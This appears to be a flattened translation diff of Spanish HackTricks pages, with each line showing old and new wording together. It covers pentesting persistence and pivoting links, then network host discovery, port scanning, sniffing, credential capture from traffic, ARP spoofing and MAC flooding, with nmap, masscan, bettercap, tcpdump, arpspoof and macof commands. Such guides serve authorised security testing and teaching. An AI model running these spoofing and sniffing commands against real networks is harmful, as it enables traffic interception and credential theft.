**Utiliza 2 o 3 tipos diferentes de mecanismos de persistencia para no tener que explotar el sistema nuevamente.**\ **Usa 2 o 3 tipos diferentes de mecanismos de persistencia para que no necesites explotar el sistema nuevamente.**\
**Aquí puedes encontrar algunos** [**trucos de persistencia en Active Directory**](../windows-hardening/active-directory-methodology/#persistence)**.** **Aquí puedes encontrar algunos** [**trucos de persistencia en active directory**](../windows-hardening/active-directory-methodology/#persistence)**.**
TODO: Completar la publicación de persistencia en Windows y Linux TODO: Completar persistencia Post en Windows y Linux
### 12 - Pivoteo ### 12 - Pivoting
Con las **credenciales recopiladas** podrías tener acceso a otras máquinas, o tal vez necesites **descubrir y escanear nuevos hosts** (comenzar nuevamente la Metodología de Pentesting) dentro de nuevas redes donde esté conectada tu víctima.\ Con las **credenciales recopiladas** podrías tener acceso a otras máquinas, o tal vez necesites **descubrir y escanear nuevos hosts** (comenzar la Metodología de Pentesting nuevamente) dentro de nuevas redes donde tu víctima está conectada.\
En este caso, el túnel podría ser necesario. Aquí puedes encontrar [**una publicación sobre túneles**](tunneling-and-port-forwarding.md).\ En este caso, el tunneling podría ser necesario. Aquí puedes encontrar [**un post hablando sobre tunneling**](tunneling-and-port-forwarding.md).\
Definitivamente también deberías revisar la publicación sobre [Metodología de Pentesting de Active Directory](../windows-hardening/active-directory-methodology/). Allí encontrarás trucos geniales para moverte lateralmente, escalar privilegios y volcar credenciales.\ Definitivamente también deberías revisar el post sobre [Metodología de pentesting de Active Directory](../windows-hardening/active-directory-methodology/). Allí encontrarás trucos interesantes para moverte lateralmente, escalar privilegios y extraer credenciales.\
Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría ser muy útil para pivotar en entornos de Windows.. Revisa también la página sobre [**NTLM**](../windows-hardening/ntlm/), podría ser muy útil para pivotar en entornos de Windows.
### MÁS ### MÁS
#### [Aplicaciones de Android](../mobile-pentesting/android-app-pentesting/) #### [Aplicaciones Android](../mobile-pentesting/android-app-pentesting/)
#### **Explotación** #### **Explotación**
* [**Explotación básica de Linux**](broken-reference) * [**Explotación Básica en Linux**](broken-reference)
* [**Explotación básica de Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md) * [**Explotación Básica en Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
* [**Herramientas básicas de explotación**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/) * [**Herramientas básicas de explotación**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
#### [**Python básico**](python/) #### [**Python Básico**](python/)
#### **Trucos de criptografía** #### **Trucos de Cripto**
* [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md) * [**ECB**](../crypto-and-stego/electronic-code-book-ecb.md)
* [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md) * [**CBC-MAC**](../crypto-and-stego/cipher-block-chaining-cbc-mac-priv.md)
* [**Oracle de relleno**](../crypto-and-stego/padding-oracle-priv.md) * [**Padding Oracle**](../crypto-and-stego/padding-oracle-priv.md)
<figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure> <figure><img src="../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Si estás interesado en una **carrera de hacking** y hackear lo imposible - **¡estamos contratando!** (_se requiere dominio del polaco escrito y hablado_). Si estás interesado en una **carrera de hacking** y hackear lo inhackeable - **¡estamos contratando!** (_se requiere polaco fluido escrito y hablado_).
{% embed url="https://www.stmcyber.com/careers" %} {% embed url="https://www.stmcyber.com/careers" %}
{% hint style="success" %}
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Apoya a HackTricks</summary>
Otras formas de apoyar a HackTricks: * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**The PEASS Family**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud). * **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
</details> </details>
{% endhint %}

View file

@ -1,34 +1,35 @@
# Pentesting de Red # Pentesting Network
{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
<details> <details>
<summary><strong>Aprende a hackear AWS desde cero hasta convertirte en un experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary> <summary>Support HackTricks</summary>
Otras formas de apoyar a HackTricks: * Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)! * **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Comparte tus trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details> </details>
{% endhint %}
<img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\ <img src="../../.gitbook/assets/i3.png" alt="" data-size="original">\
**Consejo de recompensa por errores**: **Regístrate** en **Intigriti**, una plataforma de **recompensas por errores premium creada por hackers, para hackers**. ¡Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy y comienza a ganar recompensas de hasta **$100,000**! **Bug bounty tip**: **regístrate** en **Intigriti**, una **plataforma de bug bounty premium creada por hackers, para hackers**! Únete a nosotros en [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) hoy, y comienza a ganar recompensas de hasta **$100,000**!
{% embed url="https://go.intigriti.com/hacktricks" %} {% embed url="https://go.intigriti.com/hacktricks" %}
## Descubriendo hosts desde el exterior ## Discovering hosts from the outside
Esta será una **sección breve** sobre cómo encontrar **IPs que responden** desde **Internet**.\ Esta va a ser una **breve sección** sobre cómo encontrar **IPs que responden** desde el **Internet**.\
En esta situación tienes algún **rango de IPs** (quizás incluso varios **rangos**) y solo necesitas encontrar **qué IPs están respondiendo**. En esta situación tienes un **rango de IPs** (quizás incluso varios **rangos**) y solo necesitas encontrar **qué IPs están respondiendo**.
### ICMP ### ICMP
Esta es la forma **más fácil** y **rápida** de descubrir si un host está activo o no.\ Esta es la forma **más fácil** y **rápida** de descubrir si un host está activo o no.\
Podrías intentar enviar algunos paquetes **ICMP** y **esperar respuestas**. La forma más sencilla es simplemente enviar una **solicitud de eco** y esperar la respuesta. Puedes hacerlo usando un simple `ping` o usando `fping` para **rangos**.\ Puedes intentar enviar algunos **paquetes ICMP** y **esperar respuestas**. La forma más sencilla es simplemente enviar una **solicitud de eco** y esperar la respuesta. Puedes hacer eso usando un simple `ping` o usando `fping` para **rangos**.\
También podrías usar **nmap** para enviar otros tipos de paquetes ICMP (esto evitará filtros para la solicitud-respuesta de eco ICMP común). También podrías usar **nmap** para enviar otros tipos de paquetes ICMP (esto evitará filtros a la solicitud-respuesta de eco ICMP común).
```bash ```bash
ping -c 1 199.66.11.4 # 1 echo request to a host ping -c 1 199.66.11.4 # 1 echo request to a host
fping -g 199.66.11.0/24 # Send echo requests to ranges fping -g 199.66.11.0/24 # Send echo requests to ranges
@ -36,27 +37,29 @@ nmap -PE -PM -PP -sn -n 199.66.11.0/24 #Send echo, timestamp requests and subnet
``` ```
### Descubrimiento de Puertos TCP ### Descubrimiento de Puertos TCP
Es muy común encontrar que todos los tipos de paquetes ICMP están siendo filtrados. Entonces, todo lo que puedes hacer para verificar si un host está activo es **intentar encontrar puertos abiertos**. Cada host tiene **65535 puertos**, por lo tanto, si tienes un alcance "grande" **no puedes** probar si **cada puerto** de cada host está abierto o no, eso tomaría demasiado tiempo.\ Es muy común encontrar que todo tipo de paquetes ICMP están siendo filtrados. Entonces, lo único que puedes hacer para verificar si un host está activo es **intentar encontrar puertos abiertos**. Cada host tiene **65535 puertos**, así que, si tienes un alcance "grande", **no puedes** probar si **cada puerto** de cada host está abierto o no, eso tomaría demasiado tiempo.\
Entonces, lo que necesitas es un **escáner de puertos rápido** ([masscan](https://github.com/robertdavidgraham/masscan)) y una lista de los **puertos más utilizados:** Entonces, lo que necesitas es un **escáner de puertos rápido** ([masscan](https://github.com/robertdavidgraham/masscan)) y una lista de los **puertos más utilizados:**
```bash ```bash
#Using masscan to scan top20ports of nmap in a /24 range (less than 5min) #Using masscan to scan top20ports of nmap in a /24 range (less than 5min)
masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24 masscan -p20,21-23,25,53,80,110,111,135,139,143,443,445,993,995,1723,3306,3389,5900,8080 199.66.11.0/24
``` ```
También podrías realizar este paso con `nmap`, pero es más lento y `nmap` tiene problemas para identificar hosts activos.
### Descubrimiento de Puertos HTTP ### Descubrimiento de Puertos HTTP
Esto es simplemente un descubrimiento de puertos TCP útil cuando deseas **centrarte en descubrir servicios HTTP**: Esto es solo un descubrimiento de puertos TCP útil cuando deseas **enfocarte en descubrir servicios HTTP**:
```bash ```bash
masscan -p80,443,8000-8100,8443 199.66.11.0/24 masscan -p80,443,8000-8100,8443 199.66.11.0/24
``` ```
### Descubrimiento de Puertos UDP ### Descubrimiento de Puertos UDP
También podrías intentar verificar si hay algún **puerto UDP abierto** para decidir si deberías **prestar más atención** a un **host**. Dado que los servicios UDP generalmente **no responden** con **ningún dato** a un paquete de sonda UDP vacío regular, es difícil decir si un puerto está siendo filtrado o abierto. La forma más fácil de decidir esto es enviar un paquete relacionado con el servicio en ejecución, y como no sabes qué servicio está en ejecución, deberías probar el más probable basado en el número de puerto: También podrías intentar verificar si hay algún **puerto UDP abierto** para decidir si deberías **prestar más atención** a un **host.** Dado que los servicios UDP generalmente **no responden** con **datos** a un paquete de sondeo UDP vacío, es difícil decir si un puerto está siendo filtrado o abierto. La forma más fácil de decidir esto es enviar un paquete relacionado con el servicio en ejecución, y como no sabes qué servicio está en funcionamiento, deberías probar el más probable según el número de puerto:
```bash ```bash
nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24 nmap -sU -sV --version-intensity 0 -F -n 199.66.11.53/24
# The -sV will make nmap test each possible known UDP service packet # The -sV will make nmap test each possible known UDP service packet
# The "--version-intensity 0" will make nmap only test the most probable # The "--version-intensity 0" will make nmap only test the most probable
``` ```
La línea de nmap propuesta anteriormente probará los **principales 1000 puertos UDP** en cada host dentro del rango **/24**, pero incluso solo esto llevará **>20min**. Si necesita **resultados más rápidos**, puede usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Esto enviará estas **sondas UDP** a su **puerto esperado** (para un rango /24 esto solo tomará 1 minuto): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike,ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._ La línea de nmap propuesta anteriormente probará los **1000 puertos UDP principales** en cada host dentro del rango **/24**, pero incluso solo esto tomará **>20min**. Si necesita **resultados más rápidos**, puede usar [**udp-proto-scanner**](https://github.com/portcullislabs/udp-proto-scanner): `./udp-proto-scanner.pl 199.66.11.53/24` Esto enviará estas **probes UDP** a su **puerto esperado** (para un rango /24 esto solo tomará 1 min): _DNSStatusRequest, DNSVersionBindReq, NBTStat, NTPRequest, RPCCheck, SNMPv3GetRequest, chargen, citrix, daytime, db2, echo, gtpv1, ike, ms-sql, ms-sql-slam, netop, ntp, rpc, snmp-public, systat, tftp, time, xdmcp._
### Descubrimiento de puertos SCTP ### Descubrimiento de puertos SCTP
```bash ```bash
@ -65,19 +68,19 @@ nmap -T4 -sY -n --open -Pn <IP/range>
``` ```
## Pentesting Wifi ## Pentesting Wifi
Aquí puedes encontrar una guía completa de todos los ataques Wifi conocidos en el momento de la escritura: Aquí puedes encontrar una buena guía de todos los ataques Wifi bien conocidos en el momento de la escritura:
{% content-ref url="../pentesting-wifi/" %} {% content-ref url="../pentesting-wifi/" %}
[pentesting-wifi](../pentesting-wifi/) [pentesting-wifi](../pentesting-wifi/)
{% endcontent-ref %} {% endcontent-ref %}
## Descubriendo hosts desde el interior ## Descubriendo hosts desde adentro
Si estás dentro de la red, una de las primeras cosas que querrás hacer es **descubrir otros hosts**. Dependiendo de **cuánto ruido** puedas o quieras hacer, se pueden realizar diferentes acciones: Si estás dentro de la red, una de las primeras cosas que querrás hacer es **descubrir otros hosts**. Dependiendo de **cuánto ruido** puedes/quieres hacer, se podrían realizar diferentes acciones:
### Pasivo ### Pasivo
Puedes utilizar estas herramientas para descubrir hosts de forma pasiva dentro de una red conectada: Puedes usar estas herramientas para descubrir pasivamente hosts dentro de una red conectada:
```bash ```bash
netdiscover -p netdiscover -p
p0f -i eth0 -p -o /tmp/p0f.log p0f -i eth0 -p -o /tmp/p0f.log
@ -88,8 +91,8 @@ set net.show.meta true #more info
``` ```
### Activo ### Activo
Tenga en cuenta que las técnicas comentadas en [_**Descubriendo hosts desde el exterior**_](./#discovering-hosts-from-the-outside) (_Descubrimiento de puertos TCP/HTTP/UDP/SCTP_) también se pueden **aplicar aquí**.\ Note que las técnicas comentadas en [_**Descubriendo hosts desde afuera**_](./#discovering-hosts-from-the-outside) (_Descubrimiento de puertos TCP/HTTP/UDP/SCTP_) también pueden ser **aplicadas aquí**.\
Pero, como está en la **misma red** que los otros hosts, puede hacer **más cosas**: Pero, como estás en la **misma red** que los otros hosts, puedes hacer **más cosas**:
```bash ```bash
#ARP discovery #ARP discovery
nmap -sn <Network> #ARP Requests (Discover IPs) nmap -sn <Network> #ARP Requests (Discover IPs)
@ -109,35 +112,35 @@ set net.probe.throttle 10 #10ms between probes sent (default=10)
#IPv6 #IPv6
alive6 <IFACE> # Send a pingv6 to multicast. alive6 <IFACE> # Send a pingv6 to multicast.
``` ```
### ICMP Activo ### Active ICMP
Tenga en cuenta que las técnicas comentadas en _Descubriendo hosts desde el exterior_ ([_**ICMP**_](./#icmp)) también se pueden **aplicar aquí**.\ Note que las técnicas comentadas en _Descubriendo hosts desde el exterior_ ([_**ICMP**_](./#icmp)) también pueden ser **aplicadas aquí**.\
Pero, como estás en la **misma red** que los otros hosts, puedes hacer **más cosas**: Pero, como estás en la **misma red** que los otros hosts, puedes hacer **más cosas**:
* Si **haces ping** a una **dirección de difusión de subred**, el ping debería llegar a **cada host** y podrían **responderte**: `ping -b 10.10.5.255` * Si **haces ping** a una **dirección de difusión de subred**, el ping debería llegar a **cada host** y podrían **responder** a **ti**: `ping -b 10.10.5.255`
* Al hacer ping a la **dirección de difusión de red**, incluso podrías encontrar hosts dentro de **otras subredes**: `ping -b 255.255.255.255` * Haciendo ping a la **dirección de difusión de la red** podrías incluso encontrar hosts dentro de **otras subredes**: `ping -b 255.255.255.255`
* Utiliza las banderas `-PE`, `-PP`, `-PM` de `nmap` para realizar el descubrimiento de hosts enviando respectivamente solicitudes de **eco ICMPv4**, **marca de tiempo** y **máscara de subred**: `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24` * Usa las flags `-PE`, `-PP`, `-PM` de `nmap` para realizar el descubrimiento de hosts enviando respectivamente **eco ICMPv4**, **marca de tiempo** y **solicitudes de máscara de subred:** `nmap -PE -PM -PP -sn -vvv -n 10.12.5.0/24`
### **Wake On Lan** ### **Wake On Lan**
Wake On Lan se utiliza para **encender** computadoras a través de un **mensaje de red**. El paquete mágico utilizado para encender la computadora es simplemente un paquete donde se proporciona una **MAC Dst** y luego se **repite 16 veces** dentro del mismo paquete.\ Wake On Lan se utiliza para **encender** computadoras a través de un **mensaje de red**. El paquete mágico utilizado para encender la computadora es solo un paquete donde se proporciona un **MAC Dst** y luego se **repite 16 veces** dentro del mismo paquete.\
Estos tipos de paquetes suelen enviarse en un **ethernet 0x0842** o en un **paquete UDP al puerto 9**.\ Luego, este tipo de paquetes generalmente se envían en un **ethernet 0x0842** o en un **paquete UDP al puerto 9**.\
Si no se proporciona una **\[MAC]**, el paquete se envía a **difusión ethernet** (y la MAC de difusión será la que se repita). Si **no se proporciona \[MAC]**, el paquete se envía a **difusión ethernet** (y el MAC de difusión será el que se repita).
```bash ```bash
# Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain) # Bettercap (if no [MAC] is specificed ff:ff:ff:ff:ff:ff will be used/entire broadcast domain)
wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847 wol.eth [MAC] #Send a WOL as a raw ethernet packet of type 0x0847
wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9 wol.udp [MAC] #Send a WOL as an IPv4 broadcast packet to UDP port 9
``` ```
## Escaneo de hosts ## Escaneo de Hosts
Una vez que hayas descubierto todas las IPs (externas o internas) que deseas escanear en profundidad, se pueden realizar diferentes acciones. Una vez que hayas descubierto todas las IPs (externas o internas) que deseas escanear en profundidad, se pueden realizar diferentes acciones.
### TCP ### TCP
* Puerto **abierto**: _SYN --> SYN/ACK --> RST_ * **Puerto** abierto: _SYN --> SYN/ACK --> RST_
* Puerto **cerrado**: _SYN --> RST/ACK_ * **Puerto** cerrado: _SYN --> RST/ACK_
* Puerto **filtrado**: _SYN --> \[SIN RESPUESTA]_ * **Puerto** filtrado: _SYN --> \[SIN RESPUESTA]_
* Puerto **filtrado**: _SYN --> mensaje ICMP_ * **Puerto** filtrado: _SYN --> mensaje ICMP_
```bash ```bash
# Nmap fast scan for the most 1000tcp ports used # Nmap fast scan for the most 1000tcp ports used
nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP> nmap -sV -sC -O -T4 -n -Pn -oA fastscan <IP>
@ -153,10 +156,10 @@ syn.scan 192.168.1.0/24 1 10000 #Ports 1-10000
Hay 2 opciones para escanear un puerto UDP: Hay 2 opciones para escanear un puerto UDP:
* Enviar un **paquete UDP** y verificar la respuesta _**ICMP unreachable**_ si el puerto está **cerrado** (en varios casos, ICMP estará **filtrado** por lo que no recibirás información si el puerto está cerrado o abierto). * Enviar un **paquete UDP** y verificar la respuesta _**ICMP unreachable**_ si el puerto está **cerrado** (en varios casos, ICMP será **filtrado** por lo que no recibirás ninguna información si el puerto está cerrado o abierto).
* Enviar **datagramas formateados** para provocar una respuesta de un **servicio** (por ejemplo, DNS, DHCP, TFTP, y otros, como se enumeran en _nmap-payloads_). Si recibes una **respuesta**, entonces el puerto está **abierto**. * Enviar **datagramas formateados** para provocar una respuesta de un **servicio** (por ejemplo, DNS, DHCP, TFTP y otros, como se lista en _nmap-payloads_). Si recibes una **respuesta**, entonces, el puerto está **abierto**.
**Nmap** combinará **ambas** opciones usando "-sV" (los escaneos UDP son muy lentos), pero ten en cuenta que los escaneos UDP son más lentos que los escaneos TCP: **Nmap** **mezclará ambas** opciones usando "-sV" (los escaneos UDP son muy lentos), pero ten en cuenta que los escaneos UDP son más lentos que los escaneos TCP:
```bash ```bash
# Check if any of the most common udp services is running # Check if any of the most common udp services is running
udp-proto-scanner.pl <IP> udp-proto-scanner.pl <IP>
@ -168,20 +171,20 @@ nmap -sU -sV -sC -n -F -T4 <IP>
nmap -sU -sV --version-intensity 0 -n -T4 <IP> nmap -sU -sV --version-intensity 0 -n -T4 <IP>
# You could use nmap to test all the UDP ports, but that will take a lot of time # You could use nmap to test all the UDP ports, but that will take a lot of time
``` ```
### Escaneo SCTP ### SCTP Scan
**SCTP (Protocolo de Transmisión de Control de Secuencia)** está diseñado para ser utilizado junto con **TCP (Protocolo de Control de Transmisión)** y **UDP (Protocolo de Datagramas de Usuario)**. Su propósito principal es facilitar el transporte de datos de telefonía sobre redes IP, reflejando muchas de las características de confiabilidad encontradas en **Sistema de Señalización 7 (SS7)**. **SCTP** es un componente central de la familia de protocolos **SIGTRAN**, que tiene como objetivo transportar señales SS7 sobre redes IP. **SCTP (Stream Control Transmission Protocol)** está diseñado para ser utilizado junto con **TCP (Transmission Control Protocol)** y **UDP (User Datagram Protocol)**. Su principal propósito es facilitar el transporte de datos de telefonía a través de redes IP, reflejando muchas de las características de confiabilidad que se encuentran en **Signaling System 7 (SS7)**. **SCTP** es un componente central de la familia de protocolos **SIGTRAN**, que tiene como objetivo transportar señales SS7 a través de redes IP.
El soporte para **SCTP** es proporcionado por varios sistemas operativos, como **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** y **VxWorks**, lo que indica su amplia aceptación y utilidad en el campo de las telecomunicaciones y redes. El soporte para **SCTP** es proporcionado por varios sistemas operativos, como **IBM AIX**, **Oracle Solaris**, **HP-UX**, **Linux**, **Cisco IOS** y **VxWorks**, lo que indica su amplia aceptación y utilidad en el campo de las telecomunicaciones y redes.
Nmap ofrece dos escaneos diferentes para SCTP: _-sY_ y _-sZ_ Se ofrecen dos escaneos diferentes para SCTP por nmap: _-sY_ y _-sZ_
```bash ```bash
# Nmap fast SCTP scan # Nmap fast SCTP scan
nmap -T4 -sY -n -oA SCTFastScan <IP> nmap -T4 -sY -n -oA SCTFastScan <IP>
# Nmap all SCTP scan # Nmap all SCTP scan
nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP> nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
``` ```
### Evasión de IDS y IPS ### Evasión de IDS e IPS
{% content-ref url="ids-evasion.md" %} {% content-ref url="ids-evasion.md" %}
[ids-evasion.md](ids-evasion.md) [ids-evasion.md](ids-evasion.md)
@ -193,9 +196,9 @@ nmap -T4 -p- -sY -sV -sC -F -n -oA SCTAllScan <IP>
[nmap-summary-esp.md](nmap-summary-esp.md) [nmap-summary-esp.md](nmap-summary-esp.md)
{% endcontent-ref %} {% endcontent-ref %}
### Revelación de direcciones IP internas ### Revelando direcciones IP internas
**Los routers, firewalls y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, los paquetes se pueden capturar en la interfaz **eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si su configuración está detrás de un NAT o un Firewall, es probable que dichos paquetes sean filtrados. **Los routers, firewalls y dispositivos de red mal configurados** a veces responden a sondas de red utilizando **direcciones de origen no públicas**. **tcpdump** se puede utilizar para identificar paquetes recibidos de direcciones privadas durante las pruebas. Específicamente, en Kali Linux, los paquetes se pueden capturar en la **interfaz eth2**, que es accesible desde Internet público. Es importante tener en cuenta que si tu configuración está detrás de un NAT o un Firewall, es probable que tales paquetes sean filtrados.
```bash ```bash
tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16 tcpdump nt -i eth2 src net 10 or 172.16/12 or 192.168/16
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
@ -205,7 +208,7 @@ IP 10.10.0.2 > 185.22.224.18: ICMP echo reply, id 25804, seq 1586, length 64
``` ```
## Sniffing ## Sniffing
Al hacer sniffing, puedes aprender detalles de rangos de IP, tamaños de subred, direcciones MAC y nombres de host al revisar tramas y paquetes capturados. Si la red está mal configurada o la infraestructura de conmutación está bajo estrés, los atacantes pueden capturar material sensible a través del sniffing de red pasivo. Con el sniffing, puedes aprender detalles de rangos IP, tamaños de subred, direcciones MAC y nombres de host al revisar tramas y paquetes capturados. Si la red está mal configurada o la infraestructura de conmutación está bajo estrés, los atacantes pueden capturar material sensible a través del sniffing pasivo de red.
Si una red Ethernet conmutada está configurada correctamente, solo verás tramas de difusión y material destinado a tu dirección MAC. Si una red Ethernet conmutada está configurada correctamente, solo verás tramas de difusión y material destinado a tu dirección MAC.
@ -215,7 +218,7 @@ sudo tcpdump -i <INTERFACE> udp port 53 #Listen to DNS request to discover what
tcpdump -i <IFACE> icmp #Listen to icmp packets tcpdump -i <IFACE> icmp #Listen to icmp packets
sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &" sudo bash -c "sudo nohup tcpdump -i eth0 -G 300 -w \"/tmp/dump-%m-%d-%H-%M-%S-%s.pcap\" -W 50 'tcp and (port 80 or port 443)' &"
``` ```
Uno también puede capturar paquetes de una máquina remota a través de una sesión SSH con Wireshark como la interfaz gráfica en tiempo real. Se puede, también, capturar paquetes de una máquina remota a través de una sesión SSH con Wireshark como la GUI en tiempo real.
``` ```
ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i - ssh user@<TARGET IP> tcpdump -i ens160 -U -s0 -w - | sudo wireshark -k -i -
ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic ssh <USERNAME>@<TARGET IP> tcpdump -i <INTERFACE> -U -s0 -w - 'port not 22' | sudo wireshark -k -i - # Exclude SSH traffic
@ -233,15 +236,15 @@ set net.sniff.regexp #If set only packets matching this regex will be considered
Obviamente. Obviamente.
### Capturando credenciales ### Capturing credentials
Puedes usar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un archivo pcap o de una interfaz en vivo. Puedes usar herramientas como [https://github.com/lgandx/PCredz](https://github.com/lgandx/PCredz) para analizar credenciales de un pcap o de una interfaz en vivo.
## Ataques en LAN ## LAN attacks
### ARP spoofing ### ARP spoofing
El ARP Spoofing consiste en enviar respuestas ARP gratuitas para indicar que la IP de una máquina tiene la MAC de nuestro dispositivo. Luego, la víctima cambiará la tabla ARP y contactará a nuestra máquina cada vez que quiera contactar con la IP falsificada. ARP Spoofing consiste en enviar ARPResponses gratuitos para indicar que la IP de una máquina tiene la MAC de nuestro dispositivo. Luego, la víctima cambiará la tabla ARP y contactará nuestra máquina cada vez que quiera contactar la IP suplantada.
#### **Bettercap** #### **Bettercap**
```bash ```bash
@ -257,25 +260,25 @@ echo 1 > /proc/sys/net/ipv4/ip_forward
arpspoof -t 192.168.1.1 192.168.1.2 arpspoof -t 192.168.1.1 192.168.1.2
arpspoof -t 192.168.1.2 192.168.1.1 arpspoof -t 192.168.1.2 192.168.1.1
``` ```
### MAC Flooding - Desbordamiento de CAM ### MAC Flooding - CAM overflow
Desborde la tabla CAM del switch enviando una gran cantidad de paquetes con diferentes direcciones MAC de origen. Cuando la tabla CAM está llena, el switch comienza a comportarse como un concentrador (transmitiendo todo el tráfico). Desbordar la tabla CAM del switch enviando muchos paquetes con diferentes direcciones MAC de origen. Cuando la tabla CAM está llena, el switch comienza a comportarse como un hub (difundiendo todo el tráfico).
```bash ```bash
macof -i <interface> macof -i <interface>
``` ```
En los switches modernos esta vulnerabilidad ha sido corregida. En los conmutadores modernos, esta vulnerabilidad ha sido corregida.
### Ataques 802.1Q VLAN / DTP ### 802.1Q VLAN / DTP Attacks
